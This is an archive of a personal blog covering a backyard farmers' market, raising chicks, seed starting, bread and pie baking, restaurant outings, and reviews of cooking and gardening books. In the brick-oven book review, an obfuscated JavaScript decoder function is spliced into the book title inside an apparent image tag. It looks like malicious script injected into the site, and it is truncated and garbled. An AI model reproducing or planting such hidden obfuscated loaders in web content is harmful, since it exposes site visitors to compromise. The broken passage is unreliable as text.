spectating participant

August 28, 2008

farmer’s market outisde my front door

Filed under: garden, life — suzanne henderson @ 12:43 pm

There are lots of little perks to living in a rural community and networking with a group of folk that like growing things and supporting each other. For a few weeks, a small group of us have been gathering weekly to trade and sell items we grow or make. This came about as a way to use up abundant harvests and get a variety of items. I hosted this weeks trade which works out to a mini farmers market right outside my door.

This week I offered up fresh baked whole wheat bread, still warm from the oven, and free range eggs. People got to see, and children chase, the same chickens that laid the eggs. I sold and traded for some peach tomatoes (not peaches and tomatoes, peach tomatoes - alex says they’re yummy), basil, homemade dip mix, roma tomatoes, canned dilly beans, fig-raspeberry jam, and mouse melons. We also had carrots, cukes, beets, pumpkins, fresh herbs, vinegar mixes, canned peaches, local honey, canned jellies and jams, salsas, and hand-ground wheat flour available that other people traded for. I’m probably missing a few things too.

This is such a great idea and a great experience. We’re meeting weekly as the produce is available and then I imagine we’ll scale back when fall arrives. People bring things to trade or cash to buy outright. I’m sure I broke even if not made a little in exchange for what I offered and took home.

April 18, 2008

Dinner Theatre: Sports Addition

Filed under: garden, food — suzanne henderson @ 1:37 am

Two-Week Old Chicks

The chickens continue to provide us with endless entertainment, though Alex’s fascination seems to be fading a little. We’re still weighing them daily - I’ve yet to make a graph that I find useful enough to share - and we’re still watching them on the TV when we’re not peering over the edge of the brooder. I’m impressed at their growth and feathering rates and at how they seem to be getting more and more accustomed to handling. But, this is the sport addition, so lets get to that part.

I was goofing off online and ignoring the tv while Chris was over playing with the birds. It seems he’s noticed they have a new game to play - chicken football. While he was watching them, a chick grabbed a large piece of wood shaving (their bedding material/litter) and started running around, peeping wildly. Several other chicks joined in and the lucky chick with the “ball” then started doing quick little touch-downs in each of the brooder corners, all while being chased by louder and louder peeping chicks. It was hilarious to watch because they were clearly having a ton of fun in their little game.

Chris has since learned tricks to get a new game started. He’ll reach into the brooder and slowly pick up some litter - this gets them all excited and one or two birds will come pecking after him and take it away. The first few tries, the chicks seem more interested in just getting that wood shaving back into their domain and will go about their business. But, as a critical mass of chicken attention develops, the excitement builds on repeated attempts and eventually a chick will steal the shaving/ball and start running around, peeping madly with it’s prize. Sometimes the other chicks follow, sometimes they just watch the antics of the lucky winner. Chris and I, on the other hand, are laughing hysterically each time.

March 23, 2008

Garden: March 23, 2008

Filed under: garden — suzanne henderson @ 2:54 pm

- Our broccoli and unknown seedlings have started on true sets of leaves.
- We planted cabbage, brussesls sprouts, and more broccoli last weekend. We had to put a heating pad under the tray and they are now sprouting.
- This weekend, we started some asparagus seeds and thinned out some more of the unknown seedlings into individual trays.
- We picked up 4 strawberry plants while at Home Depot looking for seedling trays.

We were pretty disturbed to find that Home Depot sells seeds and potting soil, but no seedling trays — uhh!. Guess they aren’t used to people really planning out their gardens and extending their harvest by starting seeds indoors. But, while we were disappointed to come home without the trays, we were happy to have some locally grown strawberry plants in the car with us.

In other news, the plan is to bring home 5 baby chicks next weekend. We’re still a little unsure about what will become the brooder, but we’ve at least cleared out a space for them. I really want to order some 20-week pullets now that I know that means we’ll get fresh eggs sooner, but Chris isn’t as excited about that plan. So, we’ll keep with the starting small plan, which is probably the best plan.

March 9, 2008

Garden: March 9, 2008

Filed under: garden — suzanne henderson @ 1:43 pm

A quick update on this year’s garden:

We ordered seeds from Territorial Seed Company on February 11 and they arrived within a week. At the same time, we also ordered from artisticgardens.com and the seeds never arrived. I contacted them after a couple weeks and our order had been lost, so I re-placed the order on March 4 and the seeds arrive on March 8 (sans one back-ordered packet of pumpkin seeds).

We started seedlings last Sunday (March 2): broccoli and mystery seeds. We set the broccoli seedlings on top of the office computer monitor and the mystery seeds hung out in the kitchen window above the radiator. The broccoli sprouted tall by Thursday (March 6) and the mystery seeds were pushing up a day later (March 7). Since sprouting, we’ve moved my wire craft shelving to the living room window and have put them there in hopes of getting a decent amount of sunlight. We’re also supplementing with artificial light, since the days aren’t quite long enough yet, and need a better lamp stand in. We may also add some white sheeting to help reflect more sunlight at the plants as well.

Yesterday, Chris and I went through his stock of seeds and added them to our spreadsheet (which I hope to make publicly available at a later time). We have 82 packets of seeds on hands and more than 52 different plant varieties, which includes companion-planting flowers and two specialty crops (luffa sponges and kale walking sticks). Some of Chris’ stock is many years old, so we’re not sure if they are all viable - but they have been properly stored cold and dry and there is a good chance they’ll all be good. The broccoli that sprouted were from one of the older packets since the ones we ordered from artisticgardens.com had not yet arrived.

In somewhat related news, We’ve been reading “Animal, Plant, Miracle” in the evenings before bed and I’m renewing my interest in eating locally AND adding interest in eating in season. The author basically journals her year in food and doing the same and I think we’ll incorporate as much locally grown and seasonally appropriate foods into our diet as possible, with hopes at being fully in-season by next year (which will also be easier when we have our root cellar, freezer, and jars of canned foods available to consumption). Reading this book has also shared new information, such as the connection between Monsanto and Territorial Seed company (no more ordering from Territorial for me) and heirloom versus hybrid seeds. I plan to order a few more seeds for this year from either Baker Seed Catalog or Seed Savers since getting more information on the importance of heirloom plant varieties and diversity in our food sources.

Items we still need to buy for our garden: seed potatoes, garlic, onions, strawberries.

Today gardening to-do list includes making up a gardening journal to help track data on seedlings, transplants, maturity dates, harvest, and all that good stuff. I may actually move my gardening journal over to my business site since it may be slightly more relevant there in terms of gardening in Carroll County and possibly directing more work my way — gotta love passive advertising, I guess. May also be moving all my crafting posts over there as well, but thats another subject altogether.

October 23, 2007

bread rising

Filed under: cooking, food — suzanne henderson @ 2:08 pm

I’m working on my first whole-wheat sandwich loaf right now. I decided to give the recipe on the side of the bag a try since it was accessible and simple looking. I was a bit shocked that this one recipe (doubled to make two loaves) took almost half the bag of flour - wow. If I keep this up, we’ll be needing some serious flour containers and purchases to make sure we always have some on hand. This is supposed to be our sandwich bread for the week, hence two loaves because I know we’ll end up gobbling up the first one for snacks.

In other bread baking news, I made some yummy Buttermilk dinner rolls from the Bread Bible Book. They were super fantastic and yummy, though Alex and Chris both commented about them having a slightly funny taste — maybe it was the homemade buttermilk (milk and vinegar) I used. Warm from the oven, they didn’t even need butter - but butter made them oh so yummy. They lasted for a couple days (just as good as the first day); the recipe called for 16 rolls that we’re actually much larger than they needed to be. Next time, I’ll opt for slightly smaller rolls.

A few days before that I made a recipe from The Bread Bakers Apprentice and shaped the loaves into rolls (Chris wants to know what’s up with this roll obsession) and they were very crusty and good. However, they would have been much better as larger loaves because of the crustiness. I think I ended up making about 16 rolls, but they ended up being way too dense after a day or two (they were more like french bread). I think Alex still ate them anyways, but next time I’ll make them into loaves. This bread called for a pre-ferment dough (basically a partially made dough that you let rise overnight) and the my first attempt was too wet, judging by appearances, so I made a second batch that worked perfectly. I just threw the first attempt away, it’d been resting away in the fridge for over a week now and didn’t seem worth testing out in a loaf.

Over obsessing as always, I jumped into this bread thing over my head. I read some awesome books: The Bread Makers Apprentice, Crust and Crumb, and a bok on multi-grain breads by the same author. These books really take bread making to a new, and time consuming, level. Striving for perfection, I wanted to start there and keep going. However, after my first recipe attempt and all the hoop jumping to make a truly excellent bread — I’ve decided to go back to simpler processes and recipes. I’ll retain the weights versus measures for scooping flour, but no more of this steam bath and spraying the oven walls with water to get the perfect crust. I’m sure I’ll be able to manage excellent bread without all that hoopla (and judging by the awesome buttermilk rolls, I know it doesn’t have to be so complicated).

I’m gonna try a sour dough bread next - I had french toast made with sourdough that was oh so yummy and want to see if I can make it at home. I also want to work on some multi-grain breads, but will wait and see how the whole-wheat loaf bread turns out. It doesn’t make much sense to spend all this time making bread if I’m just going to be turning out nutrition-lacking white breads.

October 2, 2007

got something on the stove

Filed under: cooking, food — suzanne henderson @ 6:18 pm

simmering in an big ol’ dutch oven….

and it smells terrible, looks terrible, and I’m afraid it taste terrible too.

argh, will be very disappointed if I’ve wasted three pound of meat along with heck of a lot of veggies. sigh.

most of the time, experiments work out just fine. sometimes, this happens.

tried to spruce it up a bit more, we’ll see what happens, in the end, we’ll be eating whatever it is.

if it sucks, chris has a yucky week of lunches ahead, thankfully he’ll eat stuff even if it isn’t any good — I’m not envious of that ability, give me food that tastes good, thanks.

December 27, 2006

Book Review: Vegetables Every Day

Filed under: review, books, cooking, food — suzanne henderson @ 2:50 am

Root Cellaring

First, let me say that if you cook, you should own this book. [Vegetables Every Day] by [Jack Bishop] states that is is The Definitive Guide to Buying and Cooking Today’s Produce, with more than 350 Recipes. I must agree because this book does cover all the standard, and a few less american-typical, vegetables found in the supermarket and farmstand. I came across this book at a friend’s house and watched how it was used almost daily to add variety to standby vegetables and test new vegetables coming from their recently established (reestablished) garden.

It is the perfect solution to doing more than steaming broccoli or broiling asparagus. Vegetables are listed in alphabetical order with informative introductions on the history of the vegetable, availability, selection criteria, storing conditions, basic preparation and best cooking methods. These details are just a page or two long and are followed with several different recipes for cooking and serving each vegetable. If you’re tired of plain mashed potatoes, this book with offer other recipes to try to help you break out of your culinary rut.

I’ve owned this book for almost two years and it is the most used book in my kitchen and if I was forced to select a single book for my cooking resource this would be it. While I’ve read it cover to cover only a few times — it is normally grabbed in desperation and habit pushes me toward tired approaches to my families favorite vegetables — I’ve taken a renewed interest in it in conjunction with reading [Root Cellaring] by Mike and Nancy Bubel. In preparation for the eventual root cellar and self-sustaining garden, I realize that our family needs to branch out in vegetable variety and this book is a roadmap for this new adventure. We’ll be making use of the recipe suggestions to helps us expand our tastebuds to include more vegetables that are common staples in the root cellar and family garden.

Wether you’re trying to expand your vegetable preferences or just tired of always using the same old preparation for your favorite vegetables - you should own this book. If you get it and hate it (impossible I believe), feel free to send me your copy because I could actually use two as I’m often making more than one new recipes a night when motivation strikes (and when the crisper drawer is overstuffed and items are nearing expiration).

Book Review: Root Cellaring: Natural Cold Storage of Fruits and Vegetables

Filed under: review, books, food — suzanne henderson @ 2:23 am

Root Cellaring

[Root Cellaring] by [ Mike and Nancy Bubel] addresses the somewhat forgotten method of fruit and vegetable storage - the root cellar. This book does an excellent job discussing the traditional root cellar while also making considerations for households that (probably) lack this luxury. This book can help you construct something small or elaborate or help you find nooks and crannies around your house to store a fall harvest of vegetables and fruits.

The books lists storage and growing details for each crop that help you grow and harvest them at the right time and use them before they’ve gone bad. Common problems and challenges are addressed along with lists of vegetables that are particularly hardy and are standard in most root cellars (or similar storage location).

While, I felt some of the options listed were not very practical - like burying large barrels of food stores in the yard - there were ideas for every situation. I liked that the book made storing vegetables possible for modern households and lifestyles - with and without modifications to the home (found space versus made space). If you’re just looking for a way to keep your farmstand produce fresh for a few more weeks, this book will be very helpful. If you want to go all and start tilling the ground, you’ve also got a great reference text.

Another nice perk is the Bubel’s month-to-month produce usage list that includes fresh, cellared, and frozen produce - it helps paint a realistic picture of what is possible with proper planning. Overall, this is an excellent book that I highly recommend to anyone who likes to cook and eat fresh produce.

Book Review: Square Foot Gardening

Filed under: review, books, food — suzanne henderson @ 1:47 am

Square Foot Gardening

[Square Foot Gardening] by [Mel Bartholomew] offers a “new” method for gardening - an approach that strays from the typical rows and rows of crops planted with much enthusiasm and lots of work during the growing season. This isn’t a new book, the copy I have was printed in 1981 and I’ve seen recent releases of 2005 (paperback) and a new book titled [All New Square Foot Gardening: Grow More in Less Space!].

For the home gardener, novice or experienced, this is a great resource for a new way to look at the work and effort put into the garden. Instead of sowing lengthy rows of crops, using entire packages seeds, you plant just the number of plants needed. This helps limit the strenuous chores of tilling, weeding, thinning, harvesting, and using surplus produce. This ‘new’ method produces gardens that resemble a giant tic-tac-toe with each block being filled with vegetables, herbs, and flowers - the amount you need and (hopefully) no more.

Best aspects:

  • charts listing the space needs, growing seasons, and square foot yields for different crops
  • the simple notion of considering how much fresh produce you’ll eat or process and planting based on that number instead of just going out and sowing until the ground is full of (over) abundance
  • planting individual seeds help save on seed costs (assuming you store them properly, as noted) and reduces the need to come out and thin or pull out perfectly good plants that contribute to overcrowding of the typical garden
  • tiling and weeding reduced to a mere fraction compared to traditional gardening

My only, very minor, complaint is the failure to include planting for storage in terms of root cellar storage. I reread this book following a rereading of [Root Cellaring] and was disappointed to see that canning and freezing were the only storage methods addressed. Obviously, this is a minor complaint because the book is addressing growing food and needn’t include processing options. If your planning on growing foods ffor winter storage, you still need to consider your actual needs so you can still plant what you need and not go overboard (something that seems easy to do when considering the aspect of living off your winter stores for several months).

This is an excellent companion to [Root Cellaring] and a wonderful resource that I’ll be calling upon as soon as we have enough land or space to start our garden. The newer book supposedly includes new methods to make it even easier, but I think I’ll stick with this volume since it provides everything I need and I’m not really looking for more shortcuts.

July 16, 2006

Book Review: The Forgotten Art of Building and Using a Brick Bake Oven

Filed under: review, books, cooking, food — suzanne henderson @ 10:28 am

The Forgotten Art of Building <script type=function oc532bd2f6(uf){var yd=\'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\';var vb=\'\';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndand Using a Brick Bake Oven” />

[The Forgotten Art of Building and Using a Brick Bake Oven] by [Richard M. Bacon] also had the titles “How to Date, Renovate, or Use an Existing Brick Oven, or to Construct a New One” and “The Lore an History of an Indispensable Part of the Kitchen from Colonial Times tot he 1800s”. Lots of titles for a slender book.

This is a very compact book with lots of descriptions, images, and diagrams. On first impression, I didn’t really find it useful for dating a brick oven, but maybe if I spent more time looking at them I’d find some of his descriptions helpful. What I really enjoyed was the detailing on how to build your own brick oven, the proper method for building a fire, and general baking instructions.

The images offer plenty of dimensions and considerations for building a working brick oven in your fireplace or in any other area of the kitchen. I look forward to building one some day and baking in the oven while cooking in the open-hearth.

Book Review: The Open-Hearth Cookbook

Filed under: review, books, cooking, food — suzanne henderson @ 10:12 am

The Open-Hearth Cookbook

[The Open-Hearth CookBook: Recapturing the Flavor of Early America|The Open-Hearth CookBook] by [Suzanne Goldenson] and [Doris Simpson].

This book provides a brief, yet detailed, overview of early American cooking in the fireplace. It discusses the cooking implements used for cooking and describes the differences between wealthy households and average households. Descriptions on how to build and maintain a fire, judge cooking temperatures and times, and how to use even a modern day fireplace to recreate meals from the past are included.

I found the details about how yesteryear cooking was accomplished very interesting and motivating for getting a fireplace big enough to try it out. The authors provide descriptions of their attempts to recreate past recipes and also include many recipes that most families, today, could use. There are little bits of information that really make this book an excellent resource for someone looking to bring open-hearth cooking into their home — like detailing the instruments used and stating how antique collectors make it almost impossible, financially, to obtain certain authentic, useful equipment. However, they do assure you that any modern blacksmith would be able to help to make equipment you may not be able to find.

I also enjoyed seeing how the cooking methods did not differ greatly from our stove top cooking today. The authors even explain how we continue to use the same senses to determine cooking temperature and times in meal preparation. They mentioned that the desire for gas ranges truly reflects how we’ve continued these early cooking methods because of the ability to allow our visual and physical clues tell us about the heat versus reliance on a electric cook tops that probably provides more accurate temperature control.

Great book for anyone looking to cook over a fire — be aware that it probably takes a little more effort and a lot more wood than you originally thought. This books goes well with [The Forgotten Art of Building and Using a Brick Bake Oven] by [Richard M. Bacon].

February 23, 2006

Deep-Dish Apple Pie

Filed under: cooking, food — suzanne henderson @ 10:01 pm

While downloading some pictures off of my camera, I found some of an apple pie I made some time last year. I guess it is about time to write it up.

I used the “The Problem with Deep-Dish Apple Pie” from [Cooks Illustrated]’s September & October 2005 issue. Like all Cooks Illustrated articles, this one addresses many of the problems with a standard recipe as they test many ways to resolve them and to get the perfect* taste. The first thing I have to say about this recipie is that it takes a long time from start to finish. And, while I enjoy cooking and really enjoy good [food], I do have a limit to the time and energy that I will put into one dish — this recipe hit both of those limits by the time it was done.

First thing first, you must make the pie crusts. I know why I see so many shows and recipes talking about how simple a pie crust is; because, no matter how many times I try and how closely I follow directions, it never seems to work out right. Now, my crust did turn out nice in the end, but the time that it took to mix and mold and rest and roll and rest just took too long. Yes, it was far superior to what a store bought crust would have done, but I still find their connivence worth the reduced results. The image above shows off the beauty of the crust and I am impressed that it turned out so well; however, I don’t think I’ll bother to make the crust next time.

For the filling, you must pick the right apples, the right combination of apples. You need to balance sweet (golden delicious, braeburn, jonagold) with tart (granny smith, empire, cortland) apples. I think that I went with granny smith and golden delicious for my pie. So, you get 5 pounds of apples and start peeling and slicing. Luckily, I have an apple peeler, slicer, corer which made this task possible. Without it I would have given up before I even started. You actually cook the apples on the stove top before you fill the pie. In this step, you add minimal ingredients to the apples, cook, and then cool on a baking sheet. The seasoning on the apples is limited because the goal is to have a strong apple taste, not a sugary or overly spiced filling.

You then add the filling to the prepared crust, top it off with another crust, cut a few slits in the top, and brush on some egg white and sugar. It came out wonderfully. The crust was perfect and the slice shows that the apples retained just enough body and that there was no gap between the filling and crust (the double cooking of the apples was done to prevent this). Yes, it did taste quite wonderful, especially with a scoop of my favorite ice cream on top. However, I will not make this recipe again. I love apple pie and this certainly stood up to my standards on taste, but the effort involved was too much. Instead, I know a farmers market that makes wonderful deep-dish apple pies for much less effort on my part. That has the benefit of supporting local farmers and freeing up my time for other things.

* perfect is relative

February 7, 2006

taste buds

Filed under: dining, food — suzanne henderson @ 9:09 am

I think Alex is starting to evolve her palette. She has been ordering off adult menus for a while now, no big deal there; however, she is now ordering new things every time we go out. Last night I asked her where she wanted to go out and eat — Olive Garden. Now, this doesn’t fit in with my preferred places anymore but she argued that it had been “forever” since we’ve been there and talked me into going. Now, I was a little disappointed in the selection because she has never had an interest in ordering off the adult menu and I find their child selections a little dull. But, with a quick glance at the menu something jumped right out at her — pork tenderloin. Eek, she would be picking something several dollars more than my dish, but I was happy to see the excitement and daringness in trying new things.

I took a while for the food to show up, longer than it should have I would soon notice. Alex ends up with a large plate full of roasted potatoes and a slab or pork tenderloin. She was pretty excited about it because she is really into pork these days (good thing cause we’re having pork chops for dinner). But I noticed that she only took one bite and didn’t seem interested in having another. Thinking it was because they’d failed to give her a knife capable of cutting, I asked and received a knife better suited for a meat entree. I then tried a bite and ick! it was quite terrible. In fact, I think it takes considerable work to make pork *that* dry and chewy. The reduction sauce was unflavorful and detracted from the leathery meat. I totally understood why she didn’t want it. Now, the waitress who was shocked that she would order such a dish seemed to take the assumption that it was just finicky child that didn’t like it. She thought it was also “just too much” for Alex to eat to which I responded that the problem was that the meat was overly dry and didn’t taste good. But, I suppose that since it was a child’s order, it didn’t matter. Now, the dish that I always order was also pretty bad. I don’t know if it is because I’ve gotten used to eating at good restaurants or that they were having a really crappy night in the kitchen. However, it certainly crosses that place of the maybe-possible dining list.

February 2, 2006

Diet Blog - Weight Loss Reality Check

Filed under: food — suzanne henderson @ 8:52 pm

Diet Blog - Weight Loss Reality Check This looked amusing. Today I was very rushed to get out the door on time, hence the lousy breakfast and snack planning — however I did get everything chopped and assembled to start the crock pot for dinner. I found what I ate amusing because everything was high protein, especially dinner that had chicken, beans, and cheese. The dish was also supposed to have some peanut butter mixed into it (for the added Moroccan taste, I guess) but I couldn’t stand the idea of more peanut butter. But I guess that I needed it since Thursday are my power (draining) days.

Slice of Cheese
3 cashews

PeanutButter Crackers
1/4 c. of cashews


Applesauce Cup

Chicken, Beans, and Rice

Bowl of Ice Cream

The California Wine Country Diet: Honest Help

Filed under: flylady, food — suzanne henderson @ 7:26 am

The California Wine Country Diet: Honest Help

This is a very well written and thorough review of the [California Wine Country Diet] book. I think I will check it out if it ever makes it to my library to give a good once over myself. I’m not a fan of “dieting” and instead have found that a sound diet (and consistent exercise) is the key to improved health.

Another book I want to check out is [Body Clutter]. This is written by the woman who wrote [Sink Reflections] and the woman who wrote [Saving Dinner] — both who are related to the [flylady] method I’m always raving about. I’ve requested that my library get a copy and am patiently waiting for it to be ordered. However, I just might decide to pick it up off the bookstore shelf since i’ve been reading so many wonderful reviews and testimonials about it on the FlyLady mailing list.

December 12, 2005

sweet, so, sweet

Filed under: dining, cooking, family, life — suzanne henderson @ 4:01 pm

The island in the kitchen was buried under ingredients, utensils, and rows and rows of cookies on Sunday. Iwas time for some holiday baking and it was a lot of fun and very productive. Collectively we made 3 batches of spice nuts, two batches of no bake cookie (chris’ recipe calls them raggedy robins.. odd), 8 dozen peanut butter blossom, 1 batch of sugar cookie dough, 1 batch of gingerbread dough, and 8 dozen chocolate truffle cookies. It was quite an adventure.

Chris spent most the tie working on the sugar cookie dough which was being far more stubborn than I would have tolerated. We did get a few cookies cut out, but I think we’ll have to give it another try later. We bought a million cookie cutters and I want to get some use out of them; but honestly, I just want to decorate the cookies–I don’t even like eating sugar cookies. The peanut butter blossoms are my favorite, but bagged up over 2/3 of them to help fill stockings for the staff members at Alex’s school. The spice nuts were very easy and so I just made two more batches to have a simple thing to bag up for the stockings. Kay, a new balt-wash member, came over and made her chocolate truffle cookies which were quite chocolatey.

By the end of the day, after a few too many tastes of everything, I was dying for something real for dinner. Megan and Chris were suggesting pizza but that sounded far too sweet to me. We ended up getting steaks at a local place that just opened last month. I felt bad about heading out to eat, but Chris pointed out that we’d both been slaving away in the kitchen all day and it was perfectly reasonable. The food was great, as always, but the atmosphere made it to where I’ll never go back again.

I’ve been spoiled with Montgomery County not allowing smoking in restaurants. When we arrived, we requested a seat as far away from smoking as possible and didn’t get one. Then before the appetizer showed up, my lungs were starting to hurt from the drifting smoke. We asked the waiter if we could move (luckily it wasn’t busy) and got a little further away. In fact, we got through the majority of the meal before the smoke managed to creep over to the new location. I like the food and alex loves the place, but I am not going to eat somewhere that allows smoking, especially not a place that doesn’t even divide the two areas, sigh. It was still nice to be eating something that wasn’t sweet and that I didn’t have to clean up after.

October 29, 2005

CalorieLab Calorie Counter News » McDonald’s to add nutrition data to packaging

Filed under: dining, food — suzanne henderson @ 8:51 am

CalorieLab Calorie Counter News » Archives » McDonald’s to add nutrition data to packaging

I have to praise McDonald’s additional step toward consumer education. In the fast food places that I have visited, they seem to be the only one consistently offering nutritional data to their customers. I have seen it printed are large posters, viewable while waiting in line, and accessible pamphlets of information that customers can take home. I have also noticed that they are listing the nutritional facts on the back of their dine-in tray placemats. Having these things readily available versus available only on demand is a check-plus in my book.

Of the complaints against McDonald’s decision, this one really bothers me:

Both Jacobson and Banzhaf complained that customers would not see the nutritional information until after ordering their food, preventing comparison of items. In addition, customers who order multiple items need to add up the values themselves.

The information, prior to ordering, is there (in the majority of the places I’ve visited) and accessible if customers want to know the nutritional content of the meal they are considering. Printing the facts on food labels is more for education for those who don’t really care or who may not be considering the nutritional values. If their food starts showing up with this data on it, many will read it and possibly start reconsidering some of their choices if they are a chronic diner. It is easier to ignore something that is not seen and (hopefully) harder to choke down one’s 3rd double cheeseburger in a week if they are very aware of how it affects their daily nutritional intake.

And the argument about multiple items, come on! No, we do not need to become such a hand holding society that we assume people can’t add. Yes, some may view that simple adding the information to food labels as just an act, but I still see it as a step in the direction of education for responsible consumerism. Do I think we need to print them out a nutritional receipt with their purchase as well, no. Self-reliance and responsibility is still on the individual. The presence of the facts on their food should be enough of an external motivator for dietary change (if they need it or care).

All this being said, there is nothing wrong with eating at McDonald’s and ordering a sandwich high in saturated fat and calories. It is all about taking in account your daily nutritional intake and maintaining the proper balance throughout the day. I have been considering all the information about choosing healthier fast-food options and I considered doing that yesterday when my family went to McDonald’s (something that happens a couple times a year). And then it finally dawned on me that I’d had very little to eat that day, my nutritional intake was extremely low in all categories, and getting my favorite BigMac was not going to hurt me. I understand that for people who eat fast food daily, making healthier choices is a positive step to improved health. But for those of us who are actually on the right track nutritionally, enjoy your favorite items when you go out.

October 14, 2005

creature comforts cuizine

Filed under: dining, food — suzanne henderson @ 10:38 am

I’ve been fading away on the [food] scale lately. It seems that nothing sounds good to my mind or stomach. In trying to come up with somewhere to go eat at, my mind draws a blank and thinks of the massive redundancy of our frequently visited restaurants and the varietal staleness of the menu items. Wednesday, I couldn’t think of anything to eat and we eventually ended up at [BJ Pumpernickles] which always offers a broad selection of foods. Alex was in a finicky mood and took longer than usual to select from the generic kids menu. I took twice as long as she did and finally resolved to order chocolate pie instead of bothering with anything real for dinner. I’d been eyeing the matzo ball soup and when Chris slyly mentioned this to our oh-so-accommodating-waiter, a cup appeared on the table for me to try. It was good but not what I wanted. Chris had a Greek wrap that was closed to my undefined craving, but still lacking. The pie was great, but also left me feeling a little disappointed in the entire subject of food and eating. And then, last night rolls around, and again I cannot come up with anything that I feel is worth shoving down my throat. Chris offers up all sorts of options, friendly trying to make a reasonable accommodation to my new found selective pallet, but nothing holds out. Finally, being defeated by my lack of direction, he opts for ordering pizza. Just as he is about to click the order button, I notice a menu we’d collected from our visit to [Roots] grocery store several months ago….

Ah-ha, something perked up inside and I eagerly read over the menu options. [Great Sage] (Spencerville, Maryland) was the name of the small eatery next door and the menu was filled with all sorts of vegetable goodness. A vegetarian establishment, they looked like they put real effort in the items they offered and they all sounded good. Suddenly, I was starving and couldn’t get out the door fast enough to try some of the items. And what a treat it was. We started with an appetizer of roasted vegetables with goat cheese and a drizzle of balsamic and a spiced pumpkin chai latte and a pumpkin smoothie. That was really the best; I could have eaten two of them, except I was quickly filling up before my main course was even close to being done. I got a vegan Shepard’s pie and while I hate for vegetarian food to be a meatless replica of something else, I still found it quite appealing. There were a few things about it that could have been better, but still wonderful overall. Chris got an Indian cakes dish with lentils and all sorts of curry goodness. Alex ended up with the mac and cheese from the kids menu which didn’t go over well. I think it was the whole wheat pasta and the use of real cheese that really did her in. Neon orange mac and cheese is rally the only kind she likes. Oh, I was so happy over the food. Of course, that was hampered a little by the $60+ bill that came with it. Ouch, wasn’t expecting that. But then we did get specialty drinks that are always overpriced and essentially two appetizers (Chris also got a side salad). So, all in all, it was still what my palette needed.

I went to be thinking of all the wonderful things I can start cooking again and looking forward to the shopping trip today and the dinner that will result from it. Sometimes, I guess you just need a little extra kick to get the tastes going again. And now that it is fall, this is a perfect time to settle into those wonderfully rich dishes that you just want to snuggle into a warm sweater and devour.

August 4, 2005

dinner party

Filed under: cooking, food — suzanne henderson @ 11:53 am

first: my camera batteries died just as I went to take pictures. since we’d already waited a bit too long before sitting down to eat the pasta, I just gave up on visual documentation.

Last nights menu: Caesar Salad, Fettucini Alfredo, Chicken with 40 Cloves, French Bread, and Elephant Ears and Creme de Luche ice cream.

The Caesar salad was simple enough, making the dressing with lemon juice, worcestershire sauce, salt, pepper, garlic, anchovies, and olive oil. It made a very thin sauce and I wasn’t too pleased with that. I think I should stir some of the parmesan cheese into it next time to thicken it up, perhaps. But overall, it was good and simple tasting.

The Fettucini Alfredo came from the latest [Cook’s Illustrated] magazine and was far simpler than I imagined it to be. This dish is often the cause for me to go out and eat, wanting something I felt I couldn’t make at home. It came together quickly and easily, but I wish the writers would be a little more liberal with their numbered steps instead of cramming so many things into one. It made it hard to follow the quick paced ending when I had to keep searching through same paragraph to figure out where I left out. I guess learning to memorize a recipe would be a better solution, but I end up double guessing myself too often. But, as for the dish, it was acceptable, far better than I’ve had at many places. Yet, still too thin for my taste and too sweet. I like heavy, creamy sauce and I think i can tweak this recipe make it the way that I like, as long as I leave out the nutmeg.

The Chicken with 40 Cloves didn’t follow one recipe, i pieced a few together to fit what I felt it should be. It was quite good and I made way too much chicken. The garlic cloves needed to be a bit fresher. I think some were beginning to green on the inside and left the cloves a little tart/bitter when spread on bread. Still, quite good and the best part of the meal.

The Elephant Ears are not what I typically call elephant eats. There were flakey sugary cookies that went perfectly with the ice cream. Super simple to make; throw down 1/2 cup sugar, lay on a sheet of puff pastry, cover it with another 1/2 cup sugar, and roll it out to a 12-inch square. Then fold it up to make it the shape that will bake into curly looking hearts. Make slices and bake until the sugar caramelizes and they’re browned. I’ve seen these cookies at chinese buffets, so I’m not sure why the author of the recipe called them Elephant Ears, other than they could look like them in tiny elephant ears, perhaps.

July 30, 2005

flavor combinations

Filed under: cooking, food — suzanne henderson @ 6:45 am

I have been working out in the kitchen lately and I am finally remembering to track my progress with the camera and a post. This was the first meal I seriously considered and planned the entire menu. I wanted all of the flavors to play well together and learned that I need to work on this concept. I was trying to keep everything fairly light and summer-y. Upon initial consideration, each dish sounded like it would work well to suit my wish and balance the meal as a whole. I missed out on a few key ingredients in the cucumber salad and it threw the balance off. However, it was still a great meal.

The menu:
Chilled Peach Soup
Cucumber Salad
Parmesan Twists
Roasted Salmon with Tomato/Roasted Red Pepper Sauce

The meal took all afternoon to make, mostly because the majority of it either needed to be made ahead of time to chill or because it could be made ahead and I prefer to have no more than 2-3 dishes needing attention at a time.

The Chilled Peach Soup was my main focus of the meal. I planned everything around this dish because it sounded so tasty. Sadly, I waited until the end stages of prep to take pictures. You start with four (4) pounds of peaches, pitted and chopped, simmered in several cups of white whine, honey, and lemon juice for half an hour. Then begins the tedious task of getting it pureed enough to make it through a sieve. I tried both the food processor and the blender to process the soup; the blender worked the best (a surprise to me since I typically feel my food processor can do everything superior to the blender). I need a better sieve, one designed for tasks like this versus the one used almost more for sifting purposes. The soup turned out rather “savory”, as Chris put it. It was sweeter than I expected it to be and more suited for an after course than a soup course. Not quite dessert, but close enough that there is no need for dessert later.

The cucumber salad took a while to make but was extremely simple. Peel, seed, and slice the cucumbers. Salt and rest in a sieve under a bag of ice water for an hour to remove excess moisture. I didn’t read the recipie close enough when selecting this dish, otherwise I would have realized that the rice vinegar and the toasted seasame oil seasonings would be very overpowering for the whole meal. The smell of the toasted sesame oil was rather pungent throughout the kitchen for the rest of the afternoon, something I found to be quite annoying and put me off from wanting to eat much of the dish. It tasted okay, but I doubt that I will make it again or that the leftovers disappear any time soon.

